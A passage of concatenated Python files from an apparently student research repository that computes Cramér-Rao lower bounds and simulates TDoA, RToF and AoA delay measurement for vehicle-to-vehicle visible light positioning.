noise_factor_b = noise_dev_bechadergue[i]
noise_factor_s = noise_dev_soner[i]
# calculate inverse of the FIM for each method
fim_inverse_rob = roberts_half_crlb_single_instance(half_crlb_init_object, tx1, tx2, noise_factor_r)
fim_inverse_becha = bechadergue_half_crlb_single_instance(half_crlb_init_object, tx1, tx2, noise_factor_b)
fim_inverse_soner = soner_half_crlb_single_instance(half_crlb_init_object, tx1, tx2, noise_factor_s)
# take sqrt for the deviation
robert_crlb_results[0] = np.append(robert_crlb_results[0], np.sqrt(fim_inverse_rob[0][0]))
robert_crlb_results[1] = np.append(robert_crlb_results[1], np.sqrt(fim_inverse_rob[1][1]))
becha_crlb_results[0] = np.append(becha_crlb_results[0], np.sqrt(fim_inverse_becha[0][0]))
becha_crlb_results[1] = np.append(becha_crlb_results[1], np.sqrt(fim_inverse_becha[1][1]))
becha_crlb_results[2] = np.append(becha_crlb_results[2], np.sqrt(fim_inverse_becha[2][2]))
becha_crlb_results[3] = np.append(becha_crlb_results[3], np.sqrt(fim_inverse_becha[3][3]))
soner_crlb_results[0] = np.append(soner_crlb_results[0], np.sqrt(fim_inverse_soner[0][0]))
soner_crlb_results[1] = np.append(soner_crlb_results[1], np.sqrt(fim_inverse_soner[1][1]))
soner_crlb_results[2] = np.append(soner_crlb_results[2], np.sqrt(fim_inverse_soner[2][2]))
soner_crlb_results[3] = np.append(soner_crlb_results[3], np.sqrt(fim_inverse_soner[3][3]))
# save results to .txt files
if not os.path.exists(directory_path + "/Bound_Estimation/Half_CRLB_Data"):
os.makedirs(directory_path + "/Bound_Estimation/Half_CRLB_Data")
if not os.path.exists(directory_path + "/Bound_Estimation/Half_CRLB_Data/aoa"):
os.makedirs(directory_path + "/Bound_Estimation/Half_CRLB_Data/aoa")
if not os.path.exists(directory_path + "/Bound_Estimation/Half_CRLB_Data/rtof"):
os.makedirs(directory_path + "/Bound_Estimation/Half_CRLB_Data/rtof")
if not os.path.exists(directory_path + "/Bound_Estimation/Half_CRLB_Data/tdoa"):
os.makedirs(directory_path + "/Bound_Estimation/Half_CRLB_Data/tdoa")
np.savetxt('Half_CRLB_Data/aoa/crlb_x1.txt', soner_crlb_results[0], delimiter=',')
np.savetxt('Half_CRLB_Data/rtof/crlb_x1.txt', becha_crlb_results[0], delimiter=',')
np.savetxt('Half_CRLB_Data/aoa/crlb_x2.txt', soner_crlb_results[2], delimiter=',')
np.savetxt('Half_CRLB_Data/rtof/crlb_x2.txt', becha_crlb_results[2], delimiter=',')
np.savetxt('Half_CRLB_Data/tdoa/crlb_x.txt', robert_crlb_results[0], delimiter=',')
np.savetxt('Half_CRLB_Data/aoa/crlb_y1.txt', soner_crlb_results[1], delimiter=',')
np.savetxt('Half_CRLB_Data/rtof/crlb_y1.txt', becha_crlb_results[1], delimiter=',')
np.savetxt('Half_CRLB_Data/aoa/crlb_y2.txt', soner_crlb_results[3], delimiter=',')
np.savetxt('Half_CRLB_Data/rtof/crlb_y2.txt', becha_crlb_results[3], delimiter=',')
np.savetxt('Half_CRLB_Data/tdoa/crlb_y.txt', robert_crlb_results[1], delimiter=',')
print("finished")
if __name__ == "__main__":
main() | {"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]} |
53,978 | fsahbaz/elec491 | refs/heads/main | /config.py | from yacs.config import CfgNode as CN
# Parameters for generate_simulation_data.py
gen_sim_data = CN()
gen_sim_data.names = CN()
# directory names
gen_sim_data.names.data_names = ['v2lcRun_sm1_laneChange', 'v2lcRun_sm2_platoonFormExit', 'v2lcRun_sm3_comparisonSoA']
gen_sim_data.names.folder_names = ['1/', '2/', '3/']
gen_sim_data.params = CN()
# data manipulation params
gen_sim_data.params.start_point_of_iter = 0
gen_sim_data.params.end_point_of_iter = 2
gen_sim_data.params.number_of_skip_data = 10
# environment params
gen_sim_data.params.c = 3e8
gen_sim_data.params.rx_fov = 50 # angle
gen_sim_data.params.tx_half_angle = 60 # angle
gen_sim_data.params.signal_freq = 1e6
gen_sim_data.params.measure_dt = 1 / 2.5e6 # 2.5 MHz measure frequency
# noise params
gen_sim_data.params.T = 298 # Kelvin
gen_sim_data.params.I_bg = 750e-6 # 750 uA
# aoa params
gen_sim_data.params.w0 = 0
# rtof params
gen_sim_data.params.rtof_measure_dt = 5e-9
gen_sim_data.params.r = 499
gen_sim_data.params.N = 1
# Parameters for plot_simulation_data.py
plot_sim_data = CN()
plot_sim_data.names = CN()
plot_sim_data.names.sm = [1, 2, 3]
plot_sim_data.names.folder_name = 'GUI_data/100_point_202/'
plot_sim_data.names.dir = 'GUI_data/100_point_202/'
plot_sim_data.names.data_names = gen_sim_data.names.data_names
plot_sim_data.names.folder_names = gen_sim_data.names.folder_names
# Parameters for simulation.py
sim_data = CN()
sim_data.names = CN()
sim_data.names.data_names = gen_sim_data.names.data_names
sim_data.names.folder_names = gen_sim_data.names.folder_names
sim_data.names.intro_img_dir_name = "Figure/intro_img.png"
sim_data.params = CN()
sim_data.params.size_width = 1200 # main window width
sim_data.params.size_height = 800 # main window height
sim_data.params.number_of_skip_data = 1
sim_data.params.img_ego_s_dir = 'red_racing_car_top_view_preview.png'
sim_data.params.img_tgt_s_dir = 'green_racing_car_top_view_preview.png'
sim_data.params.img_tgt_f_dir = 'green_racing_car_top_view_preview.png'
| {"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]} |
53,979 | fsahbaz/elec491 | refs/heads/main | /Bound_Estimation/half_crlb_init.py | import numpy as np
import math
class HalfCRLBInit:
def __init__(self, L_1, L_2, rx_area, rx_fov, tx_half_angle, c=3e8):
"""
Contains derivatives that will be used in CRLB calculations from Soner's paper
:param L_1: distance between two tx leds
:param L_2: distance between two rx detectors
:param rx_area: area of one detector
:param rx_fov: field of view of the receiver detector
:param tx_half_angle: half angle of the tx led lighting pattern
:param c: speed of light
"""
self.L1 = L_1 # m
self.L2 = L_2 # m
self.rx_area = rx_area # m^2
self.c = c # speed of light(m/s)
self.fov = rx_fov # angle
self.half_angle = tx_half_angle # angle
self.m = -np.log(2) / np.log(math.cos(math.radians(self.half_angle)))
# derivations for Soner's method
def d_theta_d_param(self, param, ij, tx1, tx2):
if param == 1:
return self.d_theta_d_x1(ij, tx1)
elif param == 2:
return self.d_theta_d_y1(ij, tx1)
elif param == 3:
return self.d_theta_d_x2(ij, tx2)
elif param == 4:
return self.d_theta_d_y2(ij, tx2)
else:
raise ValueError("Error in d_theta_d_param parameter, param=", param)
def d_theta_d_x1(self, ij, tx1):
if ij == 11:
return - tx1[1] / (tx1[0]**2 + tx1[1]**2)
elif ij == 12:
return 0
elif ij == 21:
return - (tx1[1] - self.L2) / (tx1[0]**2 + (tx1[1] - self.L2)**2)
elif ij == 22:
return 0
else:
raise ValueError("d_theta_d_x1, Entered tx rx values do not exist: ", str(ij))
def d_theta_d_x2(self, ij, tx2):
if ij == 11:
return 0
elif ij == 12:
return - tx2[1] / (tx2[0]**2 + tx2[1]**2)
elif ij == 21:
return 0
elif ij == 22:
return - (tx2[1] - self.L2) / (tx2[0]**2 + (tx2[1] - self.L2)**2)
else:
raise ValueError("d_theta_d_x2, Entered tx rx values do not exist: ", str(ij))
def d_theta_d_y1(self, ij, tx1):
if ij == 11:
return tx1[0] / (tx1[0 ]**2 + tx1[1 ]**2)
elif ij == 12:
return 0
elif ij == 21:
return tx1[0] / (tx1[0]**2 + (tx1[1] - self.L2)**2)
elif ij == 22:
return 0
else:
raise ValueError("d_theta_d_y1, Entered tx rx values do not exist: ", str(ij))
def d_theta_d_y2(self, ij, tx2):
if ij == 11:
return 0
elif ij == 12:
return tx2[0] / (tx2[0]**2 + tx2[1]**2)
elif ij == 21:
return 0
elif ij == 22:
return tx2[0] / (tx2[0]**2 + (tx2[1] - self.L2)**2)
else:
raise ValueError("d_theta_d_y2, Entered tx rx values do not exist: ", str(ij))
# derivations for Roberts' method
def d_ddist_d_param(self, param, i, tx1, tx2):
if param == 1:
if i == 1:
return self.d_dA_d_x1(tx1)
else:
return self.d_dB_d_x1(tx1)
elif param == 2:
if i == 1:
return self.d_dA_d_y1(tx1)
else:
return self.d_dB_d_y1(tx1)
else:
raise ValueError("d_ddist_d_param, Entered tx rx values", str(i), " or param", str(param), " do not exist")
def d_dA_d_x1(self, tx1):
return tx1[0] * ( 1. / np.sqrt(tx1[0]**2 + tx1[1]**2) - 1. / np.sqrt(tx1[0]**2 + (tx1[1] + self.L1)**2))
def d_dA_d_y1(self, tx1):
return tx1[1] / np.sqrt(tx1[0]**2 + tx1[1]**2) - (tx1[1] + self.L1) / np.sqrt(tx1[0]**2 + (tx1[1] + self.L1)**2)
def d_dB_d_x1(self, tx1):
return tx1[0] * ( 1. / np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2) - 1. / np.sqrt(tx1[0]**2 + (tx1[1] + self.L1 - self.L2)**2))
def d_dB_d_y1(self, tx1):
return tx1[1] / np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2) - (tx1[1] + self.L1 - self.L2) / np.sqrt(tx1[0]**2 + (tx1[1] + self.L1 - self.L2)**2)
# derivations for Bechadeurge's method
def d_dij_d_param(self, param, ij, tx1, tx2):
if param == 1:
return self.d_dij_d_x1(ij, tx1)
elif param == 2:
return self.d_dij_d_y1(ij, tx1)
elif param == 3:
return self.d_dij_d_x2(ij, tx2)
elif param == 4:
return self.d_dij_d_y2(ij, tx2)
else:
raise ValueError("Error in d_theta_d_param parameter:", str(param))
def d_dij_d_x1(self, ij, tx1):
if ij == 11:
return tx1[0] / np.sqrt(tx1[0]**2 + tx1[1]**2)
elif ij == 12:
return 0
elif ij == 21:
return tx1[0] / np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2)
elif ij == 22:
return 0
else:
raise ValueError("d_dij_d_x1, Entered tx rx values do not exist: ", str(ij))
def d_dij_d_x2(self, ij, tx2):
if ij == 11:
return 0
elif ij == 12:
return tx2[0] / np.sqrt(tx2[0]**2 + tx2[1]**2)
elif ij == 21:
return 0
elif ij == 22:
return tx2[0] / np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2)
else:
raise ValueError("d_dij_d_x2, Entered tx rx values do not exist: ", str(ij))
def d_dij_d_y1(self, ij, tx1):
if ij == 11:
return tx1[1] / np.sqrt(tx1[0]**2 + tx1[1]**2)
elif ij == 12:
return 0
elif ij == 21:
return (tx1[1] - self.L2) / np.sqrt(tx1[0]**2 + (tx1[1] - self.L2)**2)
elif ij == 22:
return 0
else:
raise ValueError("d_dij_d_y1, Entered tx rx values do not exist: ", str(ij))
def d_dij_d_y2(self, ij, tx2):
if ij == 11:
return 0
elif ij == 12:
return tx2[1] / np.sqrt(tx2[0]**2 + tx2[1]**2)
elif ij == 21:
return 0
elif ij == 22:
return (tx2[1] - self.L2) / np.sqrt(tx2[0]**2 + (tx2[1] - self.L2)**2)
else:
raise ValueError("d_dij_d_y2, Entered tx rx values do not exist: ", str(ij))
| {"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]} |
53,980 | fsahbaz/elec491 | refs/heads/main | /Bound_Estimation/crlb_bound_simulator.py | from CRLB_init import *
from matfile_read import load_mat
import numpy as np
from config_est import bound_est_data
# Roberts' method, CRLB calculation for a single position estimation
def roberts_crlb_single_instance(crlb_obj, tx1, tx2, delays, curr_t, dt_vhc, max_pow, sig_freq, meas_dt, T, i_bg, noise_factors, powers):
flag = False
fim = np.zeros(shape=(2,2))
for param1, param2 in zip(range(2), range(2)):
for i in range(2):
for j in range(2):
ij = (i + 1)*10 + (j + 1)
E_1, E_2, E_3 = signal_generator(curr_t, dt_vhc, max_pow, sig_freq, delays[i][j], meas_dt)
h_ij = crlb_obj.get_h_ij(ij, tx1, tx2, flag)
dh_dk1 = crlb_obj.get_d_hij_d_param(param1 + 1, ij, tx1, tx2, flag)
dh_dk2 = crlb_obj.get_d_hij_d_param(param2 + 1, ij, tx1, tx2, flag)
dtau_dk1 = crlb_obj.get_d_tau_d_param(param1 + 1, ij, tx1, tx2, flag)
dtau_dk2 = crlb_obj.get_d_tau_d_param(param2 + 1, ij, tx1, tx2, flag)
dh_dk1_dh_dk2 = dh_dk1 * dh_dk2
h_dh_dk1_dtau_dk2 = - h_ij * dh_dk1 * dtau_dk2
h_dh_dk2_dtau_dk1 = - h_ij * dh_dk2 * dtau_dk1
hsq_dtau_dk1_dtau_dk2 = h_ij ** 2 * dtau_dk1 * dtau_dk2
p_r = np.sum(powers[i][j])
noise_effect = 1 / (p_r * noise_factors[0] + i_bg * noise_factors[1] + T * (noise_factors[2] + noise_factors[3]))
fim[param1][param2] += noise_effect * (dh_dk1_dh_dk2 * E_2 \
+ (h_dh_dk1_dtau_dk2 + h_dh_dk2_dtau_dk1) * E_3 \
+ hsq_dtau_dk1_dtau_dk2 * E_1)
return np.linalg.inv(fim)
# Bechadergue's method, CRLB calculation for a single position estimation
def bechadergue_crlb_single_instance(crlb_obj, tx1, tx2, delays, curr_t, dt_vhc, max_pow, sig_freq, meas_dt, T, i_bg, noise_factors, powers):
fim = np.zeros(shape=(4, 4))
for param1, param2 in zip(range(4), range(4)):
for i in range(2):
for j in range(2):
ij = (i + 1) * 10 + (j + 1)
h_ij = crlb_obj.get_h_ij(ij, tx1, tx2)
E_1, E_2, E_3 = signal_generator(curr_t, dt_vhc, max_pow, sig_freq, delays[i][j], meas_dt)
dh_dk1 = crlb_obj.get_d_hij_d_param(param1 + 1, ij, tx1, tx2)
dh_dk2 = crlb_obj.get_d_hij_d_param(param2 + 1, ij, tx1, tx2)
dtau_dk1 = crlb_obj.get_d_tau_d_param(param1 + 1, ij, tx1, tx2)
dtau_dk2 = crlb_obj.get_d_tau_d_param(param2 + 1, ij, tx1, tx2)
dh_dk1_dh_dk2 = dh_dk1 * dh_dk2
h_dh_dk1_dtau_dk2 = - h_ij * dh_dk1 * dtau_dk2
h_dh_dk2_dtau_dk1 = - h_ij * dh_dk2 * dtau_dk1
hsq_dtau_dk1_dtau_dk2 = h_ij ** 2 * dtau_dk1 * dtau_dk2
p_r = np.sum(powers[i][j])
noise_effect = 1 / (p_r * noise_factors[0] + i_bg * noise_factors[1] + T * (
noise_factors[2] + noise_factors[3]))
fim[param1][param2] += noise_effect * (dh_dk1_dh_dk2 * E_2 \
+ (h_dh_dk1_dtau_dk2 + h_dh_dk2_dtau_dk1) * E_3 \
+ hsq_dtau_dk1_dtau_dk2 * E_1)
return np.linalg.inv(fim)
# Soner's method, CRLB calculation for a single position estimation
def soner_crlb_single_instance(crlb_obj, tx1, tx2, delays, curr_t, dt_vhc, max_pow, sig_freq, meas_dt, T, i_bg, noise_factors, powers):
fim = np.zeros(shape=(4, 4))
for param1, param2 in zip(range(4), range(4)):
for i in range(2):
for j in range(2):
for qrx in range(4):
ij = (i + 1) * 10 + (j + 1)
q = qrx + 1
E_1, E_2, E_3 = signal_generator(curr_t, dt_vhc, max_pow, sig_freq, delays[i][j], meas_dt)
h_ijq = crlb_obj.get_h_ijq(ij, q, tx1, tx2)
dh_dk1 = crlb_obj.get_d_hij_q_d_param(param1 + 1, ij, q, tx1, tx2)
dh_dk2 = crlb_obj.get_d_hij_q_d_param(param2 + 1, ij, q, tx1, tx2)
dtau_dk1 = crlb_obj.get_d_tau_d_param(param1 + 1, ij, tx1, tx2)
dtau_dk2 = crlb_obj.get_d_tau_d_param(param2 + 1, ij, tx1, tx2)
dh_dk1_dh_dk2 = dh_dk1 * dh_dk2
h_dh_dk1_dtau_dk2 = h_ijq * dh_dk1 * dtau_dk2
h_dh_dk2_dtau_dk1 = h_ijq * dh_dk2 * dtau_dk1
hsq_dtau_dk1_dtau_dk2 = h_ijq ** 2 * dtau_dk1 * dtau_dk2
p_r = powers[i][j][qrx]
noise_effect = 1 / (p_r * noise_factors[0] + i_bg * noise_factors[1] + T * (
noise_factors[2] + noise_factors[3]/ 16)) # /16 comes from capacitance division
fim[param1][param2] += noise_effect * (dh_dk1_dh_dk2 * E_2 \
+ (h_dh_dk1_dtau_dk2 + h_dh_dk2_dtau_dk1) * E_3 \
+ hsq_dtau_dk1_dtau_dk2 * E_1)
return np.linalg.inv(fim)
def signal_generator(current_time, dt_vhc, max_power, signal_freq, delay, measure_dt):
"""
Create sinusoidal signal and its derivative form for CRLB calculations
"""
time = np.arange(current_time - dt_vhc + measure_dt, current_time + measure_dt, measure_dt)
s = max_power * np.sin((2 * np.pi * signal_freq * (time - delay)) % (2 * np.pi))
d_s_d_tau = - max_power * 2 * np.pi * signal_freq * np.cos((2 * np.pi * signal_freq * (time - delay)) % (2 * np.pi))
e_1 = np.sum(np.dot(d_s_d_tau, d_s_d_tau))
e_2 = np.sum(np.dot(s, s))
e_3 = np.sum(np.dot(s, d_s_d_tau))
return e_1, e_2, e_3
def main():
# load the simulation data
data = load_mat('../SimulationData/v2lcRun_sm3_comparisonSoA.mat')
dp = bound_est_data.params.number_of_skip_data
# vehicle parameters
L_1 = data['vehicle']['target']['width']
L_2 = data['vehicle']['ego']['width']
rx_area = data['qrx']['f_QRX']['params']['area']
# time parameters
time = data['vehicle']['t']['values'][::dp]
dt = data['vehicle']['t']['dt'] * dp
max_power = data['tx']['power']
signal_freq = bound_est_data.params.signal_freq
measure_dt = bound_est_data.params.measure_dt
# relative tgt vehicle positions
tx1_x = data['vehicle']['target_relative']['tx1_qrx4']['y'][::dp]
tx1_y = data['vehicle']['target_relative']['tx1_qrx4']['x'][::dp]
tx2_x = data['vehicle']['target_relative']['tx2_qrx3']['y'][::dp]
tx2_y = data['vehicle']['target_relative']['tx2_qrx3']['x'][::dp]
# delay parameters
delay_11 = data['channel']['qrx1']['delay']['tx1'][::dp]
delay_12 = data['channel']['qrx1']['delay']['tx2'][::dp]
delay_21 = data['channel']['qrx2']['delay']['tx1'][::dp]
delay_22 = data['channel']['qrx2']['delay']['tx2'][::dp]
# received power of QRXes
pow_qrx1_tx1 = np.array([data['channel']['qrx1']['power']['tx1']['A'][::dp], data['channel']['qrx1']['power']['tx1']['B'][::dp],
data['channel']['qrx1']['power']['tx1']['C'][::dp], data['channel']['qrx1']['power']['tx1']['D'][::dp]])
pow_qrx1_tx2 = np.array([data['channel']['qrx1']['power']['tx2']['A'][::dp], data['channel']['qrx1']['power']['tx2']['B'][::dp],
data['channel']['qrx1']['power']['tx2']['C'][::dp], data['channel']['qrx1']['power']['tx2']['D'][::dp]])
pow_qrx2_tx1 = np.array([data['channel']['qrx2']['power']['tx1']['A'][::dp], data['channel']['qrx2']['power']['tx1']['B'][::dp],
data['channel']['qrx2']['power']['tx1']['C'][::dp], data['channel']['qrx2']['power']['tx1']['D'][::dp]])
pow_qrx2_tx2 = np.array([data['channel']['qrx2']['power']['tx1']['A'][::dp], data['channel']['qrx2']['power']['tx1']['B'][::dp],
data['channel']['qrx2']['power']['tx1']['C'][::dp], data['channel']['qrx2']['power']['tx1']['D'][::dp]])
# noise params
T = bound_est_data.params.T
I_bg = bound_est_data.params.I_bg
p_r_factor = data['qrx']['tia']['shot_P_r_factor']
i_bg_factor = data['qrx']['tia']['shot_I_bg_factor']
t_factor1 = data['qrx']['tia']['thermal_factor1']
t_factor2 = data['qrx']['tia']['thermal_factor1']
noise_factors = [p_r_factor, i_bg_factor, t_factor1, t_factor2]
# other params
rx_fov = bound_est_data.params.rx_fov
tx_half_angle = bound_est_data.params.tx_half_angle
# initalize crlb equations with given parameters
crlb_init_object = CRLB_init(L_1, L_2, rx_area, rx_fov, tx_half_angle)
# calculate bounds for all elements
robert_crlb_results = [np.array([]), np.array([])]
becha_crlb_results = [np.array([]), np.array([]), np.array([]), np.array([])]
soner_crlb_results = [np.array([]), np.array([]), np.array([]), np.array([])]
for i in range(len(tx1_x)):
# calculate sim params for ith point
tx1 = np.array([tx1_x[i], tx1_y[i]])
tx2 = np.array([tx2_x[i], tx2_y[i]])
curr_t = time[i]
delays = np.array([[delay_11[i], delay_12[i]], [delay_21[i], delay_22[i]]])
powers = np.array([[pow_qrx1_tx1[:, i], pow_qrx1_tx2[:, i]], [pow_qrx2_tx1[:, i], pow_qrx2_tx2[:, i]]])
#calculate inverse of FIM for each method
fim_inverse_rob = roberts_crlb_single_instance(crlb_init_object, tx1, tx2, delays,
curr_t, dt, max_power, signal_freq, measure_dt, T, I_bg, noise_factors, powers)
fim_inverse_becha = bechadergue_crlb_single_instance(crlb_init_object, tx1, tx2, delays,
curr_t, dt, max_power, signal_freq, measure_dt, T, I_bg, noise_factors, powers)
fim_inverse_soner = soner_crlb_single_instance(crlb_init_object, tx1, tx2, delays,
curr_t, dt, max_power, signal_freq, measure_dt, T, I_bg, noise_factors, powers)
# from varince -> deviation
robert_crlb_results[0] = np.append(robert_crlb_results[0], np.sqrt(fim_inverse_rob[0][0]))
robert_crlb_results[1] = np.append(robert_crlb_results[1], np.sqrt(fim_inverse_rob[1][1]))
becha_crlb_results[0] = np.append(becha_crlb_results[0], np.sqrt(fim_inverse_becha[0][0]))
becha_crlb_results[1] = np.append(becha_crlb_results[1], np.sqrt(fim_inverse_becha[1][1]))
becha_crlb_results[2] = np.append(becha_crlb_results[2], np.sqrt(fim_inverse_becha[2][2]))
becha_crlb_results[3] = np.append(becha_crlb_results[3], np.sqrt(fim_inverse_becha[3][3]))
soner_crlb_results[0] = np.append(soner_crlb_results[0], np.sqrt(fim_inverse_soner[0][0]))
soner_crlb_results[1] = np.append(soner_crlb_results[1], np.sqrt(fim_inverse_soner[1][1]))
soner_crlb_results[2] = np.append(soner_crlb_results[2], np.sqrt(fim_inverse_soner[2][2]))
soner_crlb_results[3] = np.append(soner_crlb_results[3], np.sqrt(fim_inverse_soner[3][3]))
#save deviations
np.savetxt('Data/aoa/crlb_x1.txt', soner_crlb_results[0], delimiter=',')
np.savetxt('Data/rtof/crlb_x1.txt', becha_crlb_results[0], delimiter=',')
np.savetxt('Data/aoa/crlb_x2.txt', soner_crlb_results[2], delimiter=',')
np.savetxt('Data/rtof/crlb_x2.txt', becha_crlb_results[2], delimiter=',')
np.savetxt('Data/tdoa/crlb_x.txt', robert_crlb_results[0], delimiter=',')
np.savetxt('Data/aoa/crlb_y1.txt', soner_crlb_results[1], delimiter=',')
np.savetxt('Data/rtof/crlb_y1.txt', becha_crlb_results[1], delimiter=',')
np.savetxt('Data/aoa/crlb_y2.txt', soner_crlb_results[3], delimiter=',')
np.savetxt('Data/rtof/crlb_y2.txt', becha_crlb_results[3], delimiter=',')
np.savetxt('Data/tdoa/crlb_y.txt', robert_crlb_results[1], delimiter=',')
print("finished")
if __name__ == "__main__":
main() | {"/Bound_Estimation/parameter_deviation_calculator.py": ["/Bound_Estimation/matfile_read.py", "/config.py"], "/plot_simulation_data.py": ["/config.py"], "/generate_simulation_data.py": ["/VLP_methods/aoa.py", "/VLP_methods/rtof.py", "/VLP_methods/tdoa.py", "/Bound_Estimation/matfile_read.py", "/config.py"], "/simulation.py": ["/config.py"], "/VLP_methods/aoa.py": ["/Bound_Estimation/matfile_read.py"]} |
53,981 | fsahbaz/elec491 | refs/heads/main | /Bound_Estimation/parameter_deviation_calculator.py | import pickle
import scipy.signal as signal
from Bound_Estimation.matfile_read import load_mat
import numpy as np
from numba import njit
import math
import os
from config import gen_sim_data
class TDoA:
"""
Exact replica of the VLP_methods/tdoa.py with last parts deleted, instead of calculating the position, it stops
when measured delays are calculated. See VLP_methods/tdoa.py for more explanation
"""
def __init__(self, a_m=2, f_m1=40000000, f_m2=25000000, measure_dt=1e-8, vehicle_dt=1e-3, car_dist=1.6, c=3e8):
self.a_m = a_m
self.dt = measure_dt
self.measure_period = vehicle_dt
self.w1 = 2 * math.pi * f_m1
self.w2 = 2 * math.pi * f_m2
self.car_dist = car_dist
self.t = np.arange(0, vehicle_dt - self.dt, self.dt)
self.c = c
def estimate(self, delays, H, noise_variance):
delay1_measured, delay2_measured = self.measure_delay(delays, H, noise_variance)
v = self.c
ddist1 = np.mean(delay1_measured) * v
ddist2 = np.mean(delay2_measured) * v
return np.array([ddist1, ddist2], np.newaxis)
def measure_delay(self, delays, H, noise_variance):
delta_delay1 = delays[0][0] - delays[0][1]
delta_delay2 = delays[1][0] - delays[1][1]
s1_w1 = H[0][0] * self.a_m * np.cos(self.w1 * (self.t - delta_delay1)) + np.random.normal(0, math.sqrt(
noise_variance[0][0]), len(self.t))
s2_w1 = H[0][1] * self.a_m * np.cos(self.w1 * (self.t)) + np.random.normal(0, math.sqrt(noise_variance[0][1]),
len(self.t))
s1_w2 = H[1][0] * self.a_m * np.cos(self.w2 * (self.t - delta_delay2)) + np.random.normal(0, math.sqrt(
noise_variance[1][0]), len(self.t))
s2_w2 = H[1][1] * self.a_m * np.cos(self.w2 * (self.t)) + np.random.normal(0, math.sqrt(noise_variance[1][1]),
len(self.t))
s1_w1_fft = np.fft.fft(s1_w1)
s2_w1_fft = np.fft.fft(s2_w1)
s1_w1_fft[0:len(s1_w1_fft) // 2] = 0
s2_w1_fft[0:len(s2_w1_fft) // 2] = 0
s1_w1_upperSideband = np.fft.ifft(s1_w1_fft)
s2_w1_upperSideband = np.fft.ifft(s2_w1_fft)
s1_w2_fft = np.fft.fft(s1_w2)
s2_w2_fft = np.fft.fft(s2_w2)
s1_w2_fft[0:len(s1_w2_fft) // 2] = 0
s2_w2_fft[0:len(s2_w2_fft) // 2] = 0
s1_w2_upperSideband = np.fft.ifft(s1_w2_fft)
s2_w2_upperSideband = np.fft.ifft(s2_w2_fft)
direct_mix1 = np.multiply(s1_w1_upperSideband, s2_w1_upperSideband.conj())
delay1_measured = np.angle(direct_mix1) / self.w1
direct_mix2 = np.multiply(s1_w2_upperSideband, s2_w2_upperSideband.conj())
delay2_measured = np.angle(direct_mix2) / self.w2
return delay1_measured, delay2_measured
class RToF:
"""
Exact replica of the VLP_methods/rtof.py with last parts deleted, instead of calculating the position, it stops
when distances between tx and rx are calculated. See VLP_methods/rtof.py for more explanation
"""
def __init__(self, a_m=2, f_m=1e6, measure_dt=5e-9, vehicle_dt=5e-3, car_dist=1.6, r=499, N=1, c=3e8):
self.dt = measure_dt
self.f = f_m
self.a_m = a_m
self.r = r
self.N = N
self.c = c
self.t = np.arange(0, vehicle_dt - self.dt, self.dt)
self.car_dist = car_dist
def gen_signals(self, f, r, N, t, delays, noise_variance):
length_time = np.size(t)
noise1 = np.random.normal(0, math.sqrt(noise_variance[0]), length_time).astype('float')
noise2 = np.random.normal(0, math.sqrt(noise_variance[1]), length_time).astype('float')
s_e = np.asarray(signal.square(2 * np.pi * f * t), dtype='float')
s_r = np.zeros((2, length_time))
s_r[0] = np.asarray(signal.square(2 * np.pi * f * (t + delays[0])), dtype='float') + noise1
s_r[1] = np.asarray(signal.square(2 * np.pi * f * (t + delays[1])), dtype='float') + noise2
s_h = np.asarray(signal.square(2 * np.pi * f * (r / (r + 1)) * t), dtype='float')
s_gate = np.asarray((signal.square(2 * np.pi * (f / (N * (r + 1))) * t) > 0), dtype='float')
return s_e, s_r, s_h, s_gate
@staticmethod
@njit(parallel=True)
def rtof_estimate_dist(s_e, s_r, s_h, s_gate, f, r, N, dt, t, length_time):
s_clk = np.zeros(length_time)
s_clk_idx = np.arange(1, length_time, 2)
s_clk[s_clk_idx] = 1
s_phi_hh = np.zeros((2, length_time))
s_eh_state = 0
s_rh_state = np.zeros((2))
counts1 = []
counts2 = []
M = np.zeros((2))
s_h_diff = np.diff(s_h)
for i in range(1, length_time):
if s_h_diff[i - 1] == 2:
if s_e[i] > 0:
s_eh_state = 1
else:
s_eh_state = 0
if s_r[0][i] > 0:
s_rh_state[0] = 1
else:
s_rh_state[0] = 0
if s_r[1][i] > 0:
s_rh_state[1] = 1
else:
s_rh_state[1] = 0
s_phi_hh[0][i] = np.logical_xor(s_eh_state, s_rh_state[0]) * s_gate[i] * s_clk[i]
s_phi_hh[1][i] = np.logical_xor(s_eh_state, s_rh_state[1]) * s_gate[i] * s_clk[i]
if s_gate[i] == 1:
if s_phi_hh[0][i] == 1:
M[0] += 1
if s_phi_hh[1][i] == 1:
M[1] += 1
update_flag = 1
else:
if update_flag == 1:
counts1.append(M[0])
counts2.append(M[1])
M[0] = 0
M[1] = 0
update_flag = 0
return counts1, counts2
def dist_to_pos(self, dm, delays):
l = self.car_dist
d1 = dm[0]
d1_err = np.abs(self.c * delays[1] / 2 - d1)
d1 = d1[d1_err == np.min(d1_err)][0]
d2 = dm[1]
d2_err = np.abs(self.c * delays[0] / 2 - d2)
d2 = d2[d2_err == np.min(d2_err)][0]
y = (d2 ** 2 - d1 ** 2 + l ** 2) / (2 * l)
x = -np.sqrt(d2 ** 2 - y ** 2)
return d1, d2
def estimate(self, all_delays, H, noise_variance):
delay1 = all_delays[0][0] * 2
delay2 = all_delays[0][1] * 2
delays = [delay1, delay2]
